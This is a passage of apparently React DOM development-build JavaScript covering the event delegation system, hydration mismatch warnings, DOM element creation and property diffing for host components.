        error('Did not expect a listenToNativeEvent() call for "%s" in the bubble phase. ' + 'This is a bug in React. Please file an issue.', domEventName);
      }
    }

    var eventSystemFlags = 0;

    if (isCapturePhaseListener) {
      eventSystemFlags |= IS_CAPTURE_PHASE;
    }

    addTrappedEventListener(target, domEventName, eventSystemFlags, isCapturePhaseListener);
  } // This is only used by createEventHandle when the
  var listeningMarker = '_reactListening' + Math.random().toString(36).slice(2);
  function listenToAllSupportedEvents(rootContainerElement) {
    if (!rootContainerElement[listeningMarker]) {
      rootContainerElement[listeningMarker] = true;
      allNativeEvents.forEach(function (domEventName) {
        // We handle selectionchange separately because it
        // doesn't bubble and needs to be on the document.
        if (domEventName !== 'selectionchange') {
          if (!nonDelegatedEvents.has(domEventName)) {
            listenToNativeEvent(domEventName, false, rootContainerElement);
          }

          listenToNativeEvent(domEventName, true, rootContainerElement);
        }
      });
      var ownerDocument = rootContainerElement.nodeType === DOCUMENT_NODE ? rootContainerElement : rootContainerElement.ownerDocument;

      if (ownerDocument !== null) {
        // The selectionchange event also needs deduplication
        // but it is attached to the document.
        if (!ownerDocument[listeningMarker]) {
          ownerDocument[listeningMarker] = true;
          listenToNativeEvent('selectionchange', false, ownerDocument);
        }
      }
    }
  }

  function addTrappedEventListener(targetContainer, domEventName, eventSystemFlags, isCapturePhaseListener, isDeferredListenerForLegacyFBSupport) {
    var listener = createEventListenerWrapperWithPriority(targetContainer, domEventName, eventSystemFlags); // If passive option is not supported, then the event will be
    // active and not passive.

    var isPassiveListener = undefined;

    if (passiveBrowserEventsSupported) {
      // Browsers introduced an intervention, making these events
      // passive by default on document. React doesn't bind them
      // to document anymore, but changing this now would undo
      // the performance wins from the change. So we emulate
      // the existing behavior manually on the roots now.
      // https://github.com/facebook/react/issues/19651
      if (domEventName === 'touchstart' || domEventName === 'touchmove' || domEventName === 'wheel') {
        isPassiveListener = true;
      }
    }

    targetContainer =  targetContainer;
    var unsubscribeListener; // When legacyFBSupport is enabled, it's for when we


    if (isCapturePhaseListener) {
      if (isPassiveListener !== undefined) {
        unsubscribeListener = addEventCaptureListenerWithPassiveFlag(targetContainer, domEventName, listener, isPassiveListener);
      } else {
        unsubscribeListener = addEventCaptureListener(targetContainer, domEventName, listener);
      }
    } else {
      if (isPassiveListener !== undefined) {
        unsubscribeListener = addEventBubbleListenerWithPassiveFlag(targetContainer, domEventName, listener, isPassiveListener);
      } else {
        unsubscribeListener = addEventBubbleListener(targetContainer, domEventName, listener);
      }
    }
  }

  function isMatchingRootContainer(grandContainer, targetContainer) {
    return grandContainer === targetContainer || grandContainer.nodeType === COMMENT_NODE && grandContainer.parentNode === targetContainer;
  }

  function dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, targetInst, targetContainer) {
    var ancestorInst = targetInst;

    if ((eventSystemFlags & IS_EVENT_HANDLE_NON_MANAGED_NODE) === 0 && (eventSystemFlags & IS_NON_DELEGATED) === 0) {
      var targetContainerNode = targetContainer; // If we are using the legacy FB support flag, we

      if (targetInst !== null) {
        // The below logic attempts to work out if we need to change
        // the target fiber to a different ancestor. We had similar logic
        // in the legacy event system, except the big difference between
        // systems is that the modern event system now has an event listener
        // attached to each React Root and React Portal Root. Together,
        // the DOM nodes representing these roots are the "rootContainer".
        // To figure out which ancestor instance we should use, we traverse
        // up the fiber tree from the target instance and attempt to find
        // root boundaries that match that of our current "rootContainer".
        // If we find that "rootContainer", we find the parent fiber
        // sub-tree for that root and make that our ancestor instance.
        var node = targetInst;

        mainLoop: while (true) {
          if (node === null) {
            return;
          }

          var nodeTag = node.tag;

          if (nodeTag === HostRoot || nodeTag === HostPortal) {
            var container = node.stateNode.containerInfo;

            if (isMatchingRootContainer(container, targetContainerNode)) {
              break;
            }

            if (nodeTag === HostPortal) {
              // The target is a portal, but it's not the rootContainer we're looking for.
              // Normally portals handle their own events all the way down to the root.
              // So we should be able to stop now. However, we don't know if this portal
              // was part of *our* root.
              var grandNode = node.return;

              while (grandNode !== null) {
                var grandTag = grandNode.tag;

                if (grandTag === HostRoot || grandTag === HostPortal) {
                  var grandContainer = grandNode.stateNode.containerInfo;

                  if (isMatchingRootContainer(grandContainer, targetContainerNode)) {
                    // This is the rootContainer we're looking for and we found it as
                    // a parent of the Portal. That means we can ignore it because the
                    // Portal will bubble through to us.
                    return;
                  }
                }

                grandNode = grandNode.return;
              }
            } // Now we need to find it's corresponding host fiber in the other
            // tree. To do this we can use getClosestInstanceFromNode, but we
            // need to validate that the fiber is a host instance, otherwise
            // we need to traverse up through the DOM till we find the correct
            // node that is from the other tree.


            while (container !== null) {
              var parentNode = getClosestInstanceFromNode(container);

              if (parentNode === null) {
                return;
              }

              var parentTag = parentNode.tag;

              if (parentTag === HostComponent || parentTag === HostText) {
                node = ancestorInst = parentNode;
                continue mainLoop;
              }

              container = container.parentNode;
            }
          }

          node = node.return;
        }
      }
    }

    batchedUpdates(function () {
      return dispatchEventsForPlugins(domEventName, eventSystemFlags, nativeEvent, ancestorInst);
    });
  }

  function createDispatchListener(instance, listener, currentTarget) {
    return {
      instance: instance,
      listener: listener,
      currentTarget: currentTarget
    };
  }

  function accumulateSinglePhaseListeners(targetFiber, reactName, nativeEventType, inCapturePhase, accumulateTargetOnly, nativeEvent) {
    var captureName = reactName !== null ? reactName + 'Capture' : null;
    var reactEventName = inCapturePhase ? captureName : reactName;
    var listeners = [];
    var instance = targetFiber;
    var lastHostComponent = null; // Accumulate all instances and listeners via the target -> root path.

    while (instance !== null) {
      var _instance2 = instance,
          stateNode = _instance2.stateNode,
          tag = _instance2.tag; // Handle listeners that are on HostComponents (i.e. <div>)

      if (tag === HostComponent && stateNode !== null) {
        lastHostComponent = stateNode; // createEventHandle listeners


        if (reactEventName !== null) {
          var listener = getListener(instance, reactEventName);

          if (listener != null) {
            listeners.push(createDispatchListener(instance, listener, lastHostComponent));
          }
        }
      } // If we are only accumulating events for the target, then we don't
      // continue to propagate through the React fiber tree to find other
      // listeners.


      if (accumulateTargetOnly) {
        break;
      } // If we are processing the onBeforeBlur event, then we need to take

      instance = instance.return;
    }

    return listeners;
  } // We should only use this function for:
  // - BeforeInputEventPlugin
  // - ChangeEventPlugin
  // - SelectEventPlugin
  // This is because we only process these plugins
  // in the bubble phase, so we need to accumulate two
  // phase event listeners (via emulation).

  function accumulateTwoPhaseListeners(targetFiber, reactName) {
    var captureName = reactName + 'Capture';
    var listeners = [];
    var instance = targetFiber; // Accumulate all instances and listeners via the target -> root path.

    while (instance !== null) {
      var _instance3 = instance,
          stateNode = _instance3.stateNode,
          tag = _instance3.tag; // Handle listeners that are on HostComponents (i.e. <div>)

      if (tag === HostComponent && stateNode !== null) {
        var currentTarget = stateNode;
        var captureListener = getListener(instance, captureName);

        if (captureListener != null) {
          listeners.unshift(createDispatchListener(instance, captureListener, currentTarget));
        }

        var bubbleListener = getListener(instance, reactName);

        if (bubbleListener != null) {
          listeners.push(createDispatchListener(instance, bubbleListener, currentTarget));
        }
      }

      instance = instance.return;
    }

    return listeners;
  }

  function getParent(inst) {
    if (inst === null) {
      return null;
    }

    do {
      inst = inst.return; // TODO: If this is a HostRoot we might want to bail out.
      // That is depending on if we want nested subtrees (layers) to bubble
      // events to their parent. We could also go through parentNode on the
      // host node but that wouldn't work for React Native and doesn't let us
      // do the portal feature.
    } while (inst && inst.tag !== HostComponent);

    if (inst) {
      return inst;
    }

    return null;
  }
  /**
   * Return the lowest common ancestor of A and B, or null if they are in
   * different trees.
   */


  function getLowestCommonAncestor(instA, instB) {
    var nodeA = instA;
    var nodeB = instB;
    var depthA = 0;

    for (var tempA = nodeA; tempA; tempA = getParent(tempA)) {
      depthA++;
    }

    var depthB = 0;

    for (var tempB = nodeB; tempB; tempB = getParent(tempB)) {
      depthB++;
    } // If A is deeper, crawl up.


    while (depthA - depthB > 0) {
      nodeA = getParent(nodeA);
      depthA--;
    } // If B is deeper, crawl up.


    while (depthB - depthA > 0) {
      nodeB = getParent(nodeB);
      depthB--;
    } // Walk in lockstep until we find a match.


    var depth = depthA;

    while (depth--) {
      if (nodeA === nodeB || nodeB !== null && nodeA === nodeB.alternate) {
        return nodeA;
      }

      nodeA = getParent(nodeA);
      nodeB = getParent(nodeB);
    }

    return null;
  }

  function accumulateEnterLeaveListenersForEvent(dispatchQueue, event, target, common, inCapturePhase) {
    var registrationName = event._reactName;
    var listeners = [];
    var instance = target;

    while (instance !== null) {
      if (instance === common) {
        break;
      }

      var _instance4 = instance,
          alternate = _instance4.alternate,
          stateNode = _instance4.stateNode,
          tag = _instance4.tag;

      if (alternate !== null && alternate === common) {
        break;
      }

      if (tag === HostComponent && stateNode !== null) {
        var currentTarget = stateNode;

        if (inCapturePhase) {
          var captureListener = getListener(instance, registrationName);

          if (captureListener != null) {
            listeners.unshift(createDispatchListener(instance, captureListener, currentTarget));
          }
        } else if (!inCapturePhase) {
          var bubbleListener = getListener(instance, registrationName);

          if (bubbleListener != null) {
            listeners.push(createDispatchListener(instance, bubbleListener, currentTarget));
          }
        }
      }

      instance = instance.return;
    }

    if (listeners.length !== 0) {
      dispatchQueue.push({
        event: event,
        listeners: listeners
      });
    }
  } // We should only use this function for:
  // - EnterLeaveEventPlugin
  // This is because we only process this plugin
  // in the bubble phase, so we need to accumulate two
  // phase event listeners.


  function accumulateEnterLeaveTwoPhaseListeners(dispatchQueue, leaveEvent, enterEvent, from, to) {
    var common = from && to ? getLowestCommonAncestor(from, to) : null;

    if (from !== null) {
      accumulateEnterLeaveListenersForEvent(dispatchQueue, leaveEvent, from, common, false);
    }

    if (to !== null && enterEvent !== null) {
      accumulateEnterLeaveListenersForEvent(dispatchQueue, enterEvent, to, common, true);
    }
  }
  function getListenerSetKey(domEventName, capture) {
    return domEventName + "__" + (capture ? 'capture' : 'bubble');
  }

  var didWarnInvalidHydration = false;
  var DANGEROUSLY_SET_INNER_HTML = 'dangerouslySetInnerHTML';
  var SUPPRESS_CONTENT_EDITABLE_WARNING = 'suppressContentEditableWarning';
  var SUPPRESS_HYDRATION_WARNING = 'suppressHydrationWarning';
  var AUTOFOCUS = 'autoFocus';
  var CHILDREN = 'children';
  var STYLE = 'style';
  var HTML$1 = '__html';
  var warnedUnknownTags;
  var validatePropertiesInDevelopment;
  var warnForPropDifference;
  var warnForExtraAttributes;
  var warnForInvalidEventListener;
  var canDiffStyleForHydrationWarning;
  var normalizeHTML;

  {
    warnedUnknownTags = {
      // There are working polyfills for <dialog>. Let people use it.
      dialog: true,
      // Electron ships a custom <webview> tag to display external web content in
      // an isolated frame and process.
      // This tag is not present in non Electron environments such as JSDom which
      // is often used for testing purposes.
      // @see https://electronjs.org/docs/api/webview-tag
      webview: true
    };

    validatePropertiesInDevelopment = function (type, props) {
      validateProperties(type, props);
      validateProperties$1(type, props);
      validateProperties$2(type, props, {
        registrationNameDependencies: registrationNameDependencies,
        possibleRegistrationNames: possibleRegistrationNames
      });
    }; // IE 11 parses & normalizes the style attribute as opposed to other
    // browsers. It adds spaces and sorts the properties in some
    // non-alphabetical order. Handling that would require sorting CSS
    // properties in the client & server versions or applying
    // `expectedStyle` to a temporary DOM node to read its `style` attribute
    // normalized. Since it only affects IE, we're skipping style warnings
    // in that browser completely in favor of doing all that work.
    // See https://github.com/facebook/react/issues/11807


    canDiffStyleForHydrationWarning = canUseDOM && !document.documentMode;

    warnForPropDifference = function (propName, serverValue, clientValue) {
      if (didWarnInvalidHydration) {
        return;
      }

      var normalizedClientValue = normalizeMarkupForTextOrAttribute(clientValue);
      var normalizedServerValue = normalizeMarkupForTextOrAttribute(serverValue);

      if (normalizedServerValue === normalizedClientValue) {
        return;
      }

      didWarnInvalidHydration = true;

      error('Prop `%s` did not match. Server: %s Client: %s', propName, JSON.stringify(normalizedServerValue), JSON.stringify(normalizedClientValue));
    };

    warnForExtraAttributes = function (attributeNames) {
      if (didWarnInvalidHydration) {
        return;
      }

      didWarnInvalidHydration = true;
      var names = [];
      attributeNames.forEach(function (name) {
        names.push(name);
      });

      error('Extra attributes from the server: %s', names);
    };

    warnForInvalidEventListener = function (registrationName, listener) {
      if (listener === false) {
        error('Expected `%s` listener to be a function, instead got `false`.\n\n' + 'If you used to conditionally omit it with %s={condition && value}, ' + 'pass %s={condition ? value : undefined} instead.', registrationName, registrationName, registrationName);
      } else {
        error('Expected `%s` listener to be a function, instead got a value of `%s` type.', registrationName, typeof listener);
      }
    }; // Parse the HTML and read it back to normalize the HTML string so that it
    // can be used for comparison.


    normalizeHTML = function (parent, html) {
      // We could have created a separate document here to avoid
      // re-initializing custom elements if they exist. But this breaks
      // how <noscript> is being handled. So we use the same document.
      // See the discussion in https://github.com/facebook/react/pull/11157.
      var testElement = parent.namespaceURI === HTML_NAMESPACE ? parent.ownerDocument.createElement(parent.tagName) : parent.ownerDocument.createElementNS(parent.namespaceURI, parent.tagName);
      testElement.innerHTML = html;
      return testElement.innerHTML;
    };
  } // HTML parsing normalizes CR and CRLF to LF.
  // It also can turn \u0000 into \uFFFD inside attributes.
  // https://www.w3.org/TR/html5/single-page.html#preprocessing-the-input-stream
  // If we have a mismatch, it might be caused by that.
  // We will still patch up in this case but not fire the warning.


  var NORMALIZE_NEWLINES_REGEX = /\r\n?/g;
  var NORMALIZE_NULL_AND_REPLACEMENT_REGEX = /\u0000|\uFFFD/g;

  function normalizeMarkupForTextOrAttribute(markup) {
    {
      checkHtmlStringCoercion(markup);
    }

    var markupString = typeof markup === 'string' ? markup : '' + markup;
    return markupString.replace(NORMALIZE_NEWLINES_REGEX, '\n').replace(NORMALIZE_NULL_AND_REPLACEMENT_REGEX, '');
  }

  function checkForUnmatchedText(serverText, clientText, isConcurrentMode, shouldWarnDev) {
    var normalizedClientText = normalizeMarkupForTextOrAttribute(clientText);
    var normalizedServerText = normalizeMarkupForTextOrAttribute(serverText);

    if (normalizedServerText === normalizedClientText) {
      return;
    }

    if (shouldWarnDev) {
      {
        if (!didWarnInvalidHydration) {
          didWarnInvalidHydration = true;

          error('Text content did not match. Server: "%s" Client: "%s"', normalizedServerText, normalizedClientText);
        }
      }
    }

    if (isConcurrentMode && enableClientRenderFallbackOnTextMismatch) {
      // In concurrent roots, we throw when there's a text mismatch and revert to
      // client rendering, up to the nearest Suspense boundary.
      throw new Error('Text content does not match server-rendered HTML.');
    }
  }

  function getOwnerDocumentFromRootContainer(rootContainerElement) {
    return rootContainerElement.nodeType === DOCUMENT_NODE ? rootContainerElement : rootContainerElement.ownerDocument;
  }

  function noop() {}

  function trapClickOnNonInteractiveElement(node) {
    // Mobile Safari does not fire properly bubble click events on
    // non-interactive elements, which means delegated click listeners do not
    // fire. The workaround for this bug involves attaching an empty click
    // listener on the target node.
    // https://www.quirksmode.org/blog/archives/2010/09/click_event_del.html
    // Just set it using the onclick property so that we don't have to manage any
    // bookkeeping for it. Not sure if we need to clear it when the listener is
    // removed.
    // TODO: Only do this for the relevant Safaris maybe?
    node.onclick = noop;
  }

  function setInitialDOMProperties(tag, domElement, rootContainerElement, nextProps, isCustomComponentTag) {
    for (var propKey in nextProps) {
      if (!nextProps.hasOwnProperty(propKey)) {
        continue;
      }

      var nextProp = nextProps[propKey];

      if (propKey === STYLE) {
        {
          if (nextProp) {
            // Freeze the next style object so that we can assume it won't be
            // mutated. We have already warned for this in the past.
            Object.freeze(nextProp);
          }
        } // Relies on `updateStylesByID` not mutating `styleUpdates`.


        setValueForStyles(domElement, nextProp);
      } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
        var nextHtml = nextProp ? nextProp[HTML$1] : undefined;

        if (nextHtml != null) {
          setInnerHTML(domElement, nextHtml);
        }
      } else if (propKey === CHILDREN) {
        if (typeof nextProp === 'string') {
          // Avoid setting initial textContent when the text is empty. In IE11 setting
          // textContent on a <textarea> will cause the placeholder to not
          // show within the <textarea> until it has been focused and blurred again.
          // https://github.com/facebook/react/issues/6731#issuecomment-254874553
          var canSetTextContent = tag !== 'textarea' || nextProp !== '';

          if (canSetTextContent) {
            setTextContent(domElement, nextProp);
          }
        } else if (typeof nextProp === 'number') {
          setTextContent(domElement, '' + nextProp);
        }
      } else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING) ; else if (propKey === AUTOFOCUS) ; else if (registrationNameDependencies.hasOwnProperty(propKey)) {
        if (nextProp != null) {
          if ( typeof nextProp !== 'function') {
            warnForInvalidEventListener(propKey, nextProp);
          }

          if (propKey === 'onScroll') {
            listenToNonDelegatedEvent('scroll', domElement);
          }
        }
      } else if (nextProp != null) {
        setValueForProperty(domElement, propKey, nextProp, isCustomComponentTag);
      }
    }
  }

  function updateDOMProperties(domElement, updatePayload, wasCustomComponentTag, isCustomComponentTag) {
    // TODO: Handle wasCustomComponentTag
    for (var i = 0; i < updatePayload.length; i += 2) {
      var propKey = updatePayload[i];
      var propValue = updatePayload[i + 1];

      if (propKey === STYLE) {
        setValueForStyles(domElement, propValue);
      } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
        setInnerHTML(domElement, propValue);
      } else if (propKey === CHILDREN) {
        setTextContent(domElement, propValue);
      } else {
        setValueForProperty(domElement, propKey, propValue, isCustomComponentTag);
      }
    }
  }

  function createElement(type, props, rootContainerElement, parentNamespace) {
    var isCustomComponentTag; // We create tags in the namespace of their parent container, except HTML
    // tags get no namespace.

    var ownerDocument = getOwnerDocumentFromRootContainer(rootContainerElement);
    var domElement;
    var namespaceURI = parentNamespace;

    if (namespaceURI === HTML_NAMESPACE) {
      namespaceURI = getIntrinsicNamespace(type);
    }

    if (namespaceURI === HTML_NAMESPACE) {
      {
        isCustomComponentTag = isCustomComponent(type, props); // Should this check be gated by parent namespace? Not sure we want to
        // allow <SVG> or <mATH>.

        if (!isCustomComponentTag && type !== type.toLowerCase()) {
          error('<%s /> is using incorrect casing. ' + 'Use PascalCase for React components, ' + 'or lowercase for HTML elements.', type);
        }
      }

      if (type === 'script') {
        // Create the script via .innerHTML so its "parser-inserted" flag is
        // set to true and it does not execute
        var div = ownerDocument.createElement('div');

        div.innerHTML = '<script><' + '/script>'; // eslint-disable-line
        // This is guaranteed to yield a script element.

        var firstChild = div.firstChild;
        domElement = div.removeChild(firstChild);
      } else if (typeof props.is === 'string') {
        // $FlowIssue `createElement` should be updated for Web Components
        domElement = ownerDocument.createElement(type, {
          is: props.is
        });
      } else {
        // Separate else branch instead of using `props.is || undefined` above because of a Firefox bug.
        // See discussion in https://github.com/facebook/react/pull/6896
        // and discussion in https://bugzilla.mozilla.org/show_bug.cgi?id=1276240
        domElement = ownerDocument.createElement(type); // Normally attributes are assigned in `setInitialDOMProperties`, however the `multiple` and `size`
        // attributes on `select`s needs to be added before `option`s are inserted.
        // This prevents:
        // - a bug where the `select` does not scroll to the correct option because singular
        //  `select` elements automatically pick the first item #13222
        // - a bug where the `select` set the first item as selected despite the `size` attribute #14239
        // See https://github.com/facebook/react/issues/13222
        // and https://github.com/facebook/react/issues/14239

        if (type === 'select') {
          var node = domElement;

          if (props.multiple) {
            node.multiple = true;
          } else if (props.size) {
            // Setting a size greater than 1 causes a select to behave like `multiple=true`, where
            // it is possible that no option is selected.
            //
            // This is only necessary when a select in "single selection mode".
            node.size = props.size;
          }
        }
      }
    } else {
      domElement = ownerDocument.createElementNS(namespaceURI, type);
    }

    {
      if (namespaceURI === HTML_NAMESPACE) {
        if (!isCustomComponentTag && Object.prototype.toString.call(domElement) === '[object HTMLUnknownElement]' && !hasOwnProperty.call(warnedUnknownTags, type)) {
          warnedUnknownTags[type] = true;

          error('The tag <%s> is unrecognized in this browser. ' + 'If you meant to render a React component, start its name with ' + 'an uppercase letter.', type);
        }
      }
    }

    return domElement;
  }
  function createTextNode(text, rootContainerElement) {
    return getOwnerDocumentFromRootContainer(rootContainerElement).createTextNode(text);
  }
  function setInitialProperties(domElement, tag, rawProps, rootContainerElement) {
    var isCustomComponentTag = isCustomComponent(tag, rawProps);

    {
      validatePropertiesInDevelopment(tag, rawProps);
    } // TODO: Make sure that we check isMounted before firing any of these events.


    var props;

    switch (tag) {
      case 'dialog':
        listenToNonDelegatedEvent('cancel', domElement);
        listenToNonDelegatedEvent('close', domElement);
        props = rawProps;
        break;

      case 'iframe':
      case 'object':
      case 'embed':
        // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the load event.
        listenToNonDelegatedEvent('load', domElement);
        props = rawProps;
        break;

      case 'video':
      case 'audio':
        // We listen to these events in case to ensure emulated bubble
        // listeners still fire for all the media events.
        for (var i = 0; i < mediaEventTypes.length; i++) {
          listenToNonDelegatedEvent(mediaEventTypes[i], domElement);
        }

        props = rawProps;
        break;

      case 'source':
        // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the error event.
        listenToNonDelegatedEvent('error', domElement);
        props = rawProps;
        break;

      case 'img':
      case 'image':
      case 'link':
        // We listen to these events in case to ensure emulated bubble
        // listeners still fire for error and load events.
        listenToNonDelegatedEvent('error', domElement);
        listenToNonDelegatedEvent('load', domElement);
        props = rawProps;
        break;

      case 'details':
        // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the toggle event.
        listenToNonDelegatedEvent('toggle', domElement);
        props = rawProps;
        break;

      case 'input':
        initWrapperState(domElement, rawProps);
        props = getHostProps(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the invalid event.

        listenToNonDelegatedEvent('invalid', domElement);
        break;

      case 'option':
        validateProps(domElement, rawProps);
        props = rawProps;
        break;

      case 'select':
        initWrapperState$1(domElement, rawProps);
        props = getHostProps$1(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the invalid event.

        listenToNonDelegatedEvent('invalid', domElement);
        break;

      case 'textarea':
        initWrapperState$2(domElement, rawProps);
        props = getHostProps$2(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the invalid event.

        listenToNonDelegatedEvent('invalid', domElement);
        break;

      default:
        props = rawProps;
    }

    assertValidProps(tag, props);
    setInitialDOMProperties(tag, domElement, rootContainerElement, props, isCustomComponentTag);

    switch (tag) {
      case 'input':
        // TODO: Make sure we check if this is still unmounted or do any clean
        // up necessary since we never stop tracking anymore.
        track(domElement);
        postMountWrapper(domElement, rawProps, false);
        break;

      case 'textarea':
        // TODO: Make sure we check if this is still unmounted or do any clean
        // up necessary since we never stop tracking anymore.
        track(domElement);
        postMountWrapper$3(domElement);
        break;

      case 'option':
        postMountWrapper$1(domElement, rawProps);
        break;

      case 'select':
        postMountWrapper$2(domElement, rawProps);
        break;

      default:
        if (typeof props.onClick === 'function') {
          // TODO: This cast may not be sound for SVG, MathML or custom elements.
          trapClickOnNonInteractiveElement(domElement);
        }

        break;
    }
  } // Calculate the diff between the two objects.

  function diffProperties(domElement, tag, lastRawProps, nextRawProps, rootContainerElement) {
    {
      validatePropertiesInDevelopment(tag, nextRawProps);
    }

    var updatePayload = null;
    var lastProps;
    var nextProps;

    switch (tag) {
      case 'input':
        lastProps = getHostProps(domElement, lastRawProps);
        nextProps = getHostProps(domElement, nextRawProps);
        updatePayload = [];
        break;

      case 'select':
        lastProps = getHostProps$1(domElement, lastRawProps);
        nextProps = getHostProps$1(domElement, nextRawProps);
        updatePayload = [];
        break;

      case 'textarea':
        lastProps = getHostProps$2(domElement, lastRawProps);
        nextProps = getHostProps$2(domElement, nextRawProps);
        updatePayload = [];
        break;

      default:
        lastProps = lastRawProps;
        nextProps = nextRawProps;

        if (typeof lastProps.onClick !== 'function' && typeof nextProps.onClick === 'function') {
          // TODO: This cast may not be sound for SVG, MathML or custom elements.
          trapClickOnNonInteractiveElement(domElement);
        }

        break;
    }

    assertValidProps(tag, nextProps);
    var propKey;
    var styleName;
    var styleUpdates = null;

    for (propKey in lastProps) {
      if (nextProps.hasOwnProperty(propKey) || !lastProps.hasOwnProperty(propKey) || lastProps[propKey] == null) {
        continue;
      }

      if (propKey === STYLE) {
        var lastStyle = lastProps[propKey];

        for (styleName in lastStyle) {
          if (lastStyle.hasOwnProperty(styleName)) {
            if (!styleUpdates) {
              styleUpdates = {};
            }

            styleUpdates[styleName] = '';
          }
        }
      } else if (propKey === DANGEROUSLY_SET_INNER_HTML || propKey === CHILDREN) ; else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING) ; else if (propKey === AUTOFOCUS) ; else if (registrationNameDependencies.hasOwnProperty(propKey)) {
        // This is a special case. If any listener updates we need to ensure
        // that the "current" fiber pointer gets updated so we need a commit
        // to update this element.
        if (!updatePayload) {
          updatePayload = [];
        }
      } else {
        // For all other deleted properties we add it to the queue. We use
        // the allowed property list in the commit phase instead.
        (updatePayload = updatePayload || []).push(propKey, null);
      }
    }

    for (propKey in nextProps) {
      var nextProp = nextProps[propKey];
      var lastProp = lastProps != null ? lastProps[propKey] : undefined;

      if (!nextProps.hasOwnProperty(propKey) || nextProp === lastProp || nextProp == null && lastProp == null) {
        continue;
      }

      if (propKey === STYLE) {
        {
          if (nextProp) {
            // Freeze the next style object so that we can assume it won't be
            // mutated. We have already warned for this in the past.
            Object.freeze(nextProp);
          }
        }

        if (lastProp) {
          // Unset styles on `lastProp` but not on `nextProp`.
          for (styleName in lastProp) {
            if (lastProp.hasOwnProperty(styleName) && (!nextProp || !nextProp.hasOwnProperty(styleName))) {
              if (!styleUpdates) {
                styleUpdates = {};
              }

              styleUpdates[styleName] = '';
            }
          } // Update styles that changed since `lastProp`.


          for (styleName in nextProp) {
            if (nextProp.hasOwnProperty(styleName) && lastProp[styleName] !== nextProp[styleName]) {
              if (!styleUpdates) {
                styleUpdates = {};
              }

              styleUpdates[styleName] = nextProp[styleName];
            }
          }
        } else {
          // Relies on `updateStylesByID` not mutating `styleUpdates`.
          if (!styleUpdates) {
            if (!updatePayload) {
              updatePayload = [];
            }

            updatePayload.push(propKey, styleUpdates);
          }

          styleUpdates = nextProp;
        }
      } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
        var nextHtml = nextProp ? nextProp[HTML$1] : undefined;
        var lastHtml = lastProp ? lastProp[HTML$1] : undefined;

        if (nextHtml != null) {
          if (lastHtml !== nextHtml) {
            (updatePayload = updatePayload || []).push(propKey, nextHtml);
          }
        }
      } else if (propKey === CHILDREN) {
        if (typeof nextProp === 'string' || typeof nextProp === 'number') {
          (updatePayload = updatePayload || []).push(propKey, '' + nextProp);
        }
      } else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING) ; else if (registrationNameDependencies.hasOwnProperty(propKey)) {
        if (nextProp != null) {
          // We eagerly listen to this even though we haven't committed yet.
          if ( typeof nextProp !== 'function') {
            warnForInvalidEventListener(propKey, nextProp);
          }

          if (propKey === 'onScroll') {
            listenToNonDelegatedEvent('scroll', domElement);
          }
        }

        if (!updatePayload && lastProp !== nextProp) {
          // This is a special case. If any listener updates we need to ensure
          // that the "current" props pointer gets updated so we need a commit
          // to update this element.
          updatePayload = [];
        }
      } else {
        // For any other property we always add it to the queue and then we
        // filter it out using the allowed property list during the commit.
        (updatePayload = updatePayload || []).push(propKey, nextProp);
      }
    }

    if (styleUpdates) {
      {
        validateShorthandPropertyCollisionInDev(styleUpdates, nextProps[STYLE]);
      }

      (updatePayload = updatePayload || []).push(STYLE, styleUpdates);
    }

    return updatePayload;
  } // Apply the diff.

  function updateProperties(domElement, updatePayload, tag, lastRawProps, nextRawProps) {
    // Update checked *before* name.
    // In the middle of an update, it is possible to have multiple checked.
    // When a checked radio tries to change name, browser makes another radio's checked false.
    if (tag === 'input' && nextRawProps.type === 'radio' && nextRawProps.name != null) {
      updateChecked(domElement, nextRawProps);
    }

    var wasCustomComponentTag = isCustomComponent(tag, lastRawProps);
    var isCustomComponentTag = isCustomComponent(tag, nextRawProps); // Apply the diff.

    updateDOMProperties(domElement, updatePayload, wasCustomComponentTag, isCustomComponentTag); // TODO: Ensure that an update gets scheduled if any of the special props
    // changed.

    switch (tag) {
      case 'input':
        // Update the wrapper around inputs *after* updating props. This has to
        // happen after `updateDOMProperties`. Otherwise HTML5 input validations
        // raise warnings and prevent the new value from being assigned.
        updateWrapper(domElement, nextRawProps);
        break;

      case 'textarea':
        updateWrapper$1(domElement, nextRawProps);
        break;

      case 'select':
        // <select> value update needs to occur after <option> children
        // reconciliation
        postUpdateWrapper(domElement, nextRawProps);
        break;
    }
  }

  function getPossibleStandardName(propName) {
    {
      var lowerCasedName = propName.toLowerCase();

      if (!possibleStandardNames.hasOwnProperty(lowerCasedName)) {
        return null;
      }

      return possibleStandardNames[lowerCasedName] || null;
    }
  }

  function diffHydratedProperties(domElement, tag, rawProps, parentNamespace, rootContainerElement, isConcurrentMode, shouldWarnDev) {
    var isCustomComponentTag;
    var extraAttributeNames;

    {
      isCustomComponentTag = isCustomComponent(tag, rawProps);
      validatePropertiesInDevelopment(tag, rawProps);
    } // TODO: Make sure that we check isMounted before firing any of these events.


    switch (tag) {
      case 'dialog':
        listenToNonDelegatedEvent('cancel', domElement);
        listenToNonDelegatedEvent('close', domElement);
        break;

      case 'iframe':
      case 'object':
      case 'embed':
        // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the load event.
        listenToNonDelegatedEvent('load', domElement);
        break;

      case 'video':
      case 'audio':
        // We listen to these events in case to ensure emulated bubble
        // listeners still fire for all the media events.
        for (var i = 0; i < mediaEventTypes.length; i++) {
          listenToNonDelegatedEvent(mediaEventTypes[i], domElement);
        }

        break;

      case 'source':
        // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the error event.
        listenToNonDelegatedEvent('error', domElement);
        break;

      case 'img':
      case 'image':
      case 'link':
        // We listen to these events in case to ensure emulated bubble
        // listeners still fire for error and load events.
        listenToNonDelegatedEvent('error', domElement);
